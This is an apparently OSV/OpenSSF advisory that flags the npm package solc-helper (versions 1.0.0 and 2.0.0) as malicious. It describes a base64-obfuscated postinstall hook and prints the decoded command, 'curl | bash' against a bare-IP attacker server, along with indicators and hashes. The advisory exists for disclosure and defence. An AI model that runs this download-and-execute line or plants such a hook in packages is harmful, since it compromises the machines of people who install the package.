MAL-2026-3715

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Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/solc-helper/MAL-2026-3715.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-3715
Published
2026-05-13T12:00:42Z
Modified
2026-05-15T07:50:44.882891Z
Summary
Malicious code in solc-helper (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (2016baa4fe29c296464b8381f88440457a113d79e2773d2252eb609a15ea2e03)

package.json's postinstall lifecycle script runs node -e to base64-decode a hidden URL and pipe its contents to bash: curl -s http://8.217.75.147:3000/payload | bash. The URL is obfuscated via Buffer.from('aHR0cDovLzguMjE3Ljc1LjE0NzozMDAwL3BheWxvYWQ=','base64').toString() which decodes to http://8.217.75.147:3000/payload. Every npm install solc-helper triggers this unattended download-and-execute of attacker-controlled shell code from a bare IP over plaintext HTTP, with no integrity check. Multiple independent block signals stack: bare-IP C2, plaintext HTTP, base64-obfuscated URL inside a lifecycle hook, curl | bash pattern, and no legitimate functionality advertised by the package to justify any network activity.

Source: ossf-package-analysis (ddd32c477334047130051f655031a49e899c68da7dbeff001a98efb7e25afa2a)

The OpenSSF Package Analysis project identified 'solc-helper' @ 2.0.0 (npm) as malicious.

It is considered malicious because:

  • The package executes one or more commands associated with malicious behavior.
Database specific 
{
    "malicious-packages-origins": [
        {
            "sha256": "ddd32c477334047130051f655031a49e899c68da7dbeff001a98efb7e25afa2a",
            "import_time": "2026-05-13T21:58:24.49715736Z",
            "source": "ossf-package-analysis",
            "modified_time": "2026-05-13T12:00:42Z",
            "versions": [
                "2.0.0"
            ]
        },
        {
            "sha256": "2016baa4fe29c296464b8381f88440457a113d79e2773d2252eb609a15ea2e03",
            "id": "IN-MAL-2026-002695",
            "source": "amazon-inspector",
            "modified_time": "2026-05-14T19:25:10Z",
            "versions": [
                "1.0.0"
            ],
            "import_time": "2026-05-15T07:37:17.054641889Z"
        }
    ]
}
References
Credits

Affected packages

npm / solc-helper

Package

Name
solc-helper
View open source insights on deps.dev
Purl
pkg:npm/solc-helper

Affected ranges

Affected versions

1.*
1.0.0
2.*
2.0.0

Database specific

source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/solc-helper/MAL-2026-3715.json"
cwes 
[
    {
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506"
    }
]
indicators 
{
    "domains": [
        "http://8.217.75.147:3000"
    ],
    "evidence_files": [
        {
            "sha256": "e98768980e89ef8b154822f462727527155607e496dc678e35f1a19b149b4607",
            "tlsh": "f8e0ab109b106ab318c09e930e5b86cb6073881b01187c58a34be02c039c6bb15fb91e",
            "path": "package.json"
        }
    ],
    "package_integrity": [
        {
            "filename": "solc-helper-1.0.0.tgz",
            "hashes": {
                "sha1": "df7378697f436229fa269a3cc53fbdbb60d3352d",
                "sha512_sri": "sha512-6K4aF0XRJw+4oqjkvyVgK/IJbV5JufKivq5z++nBfIKeSgCFUr4PtOljY3Qh4UF6EzUOASO/RTNMwi+Emq6e7g=="
            }
        }
    ]
}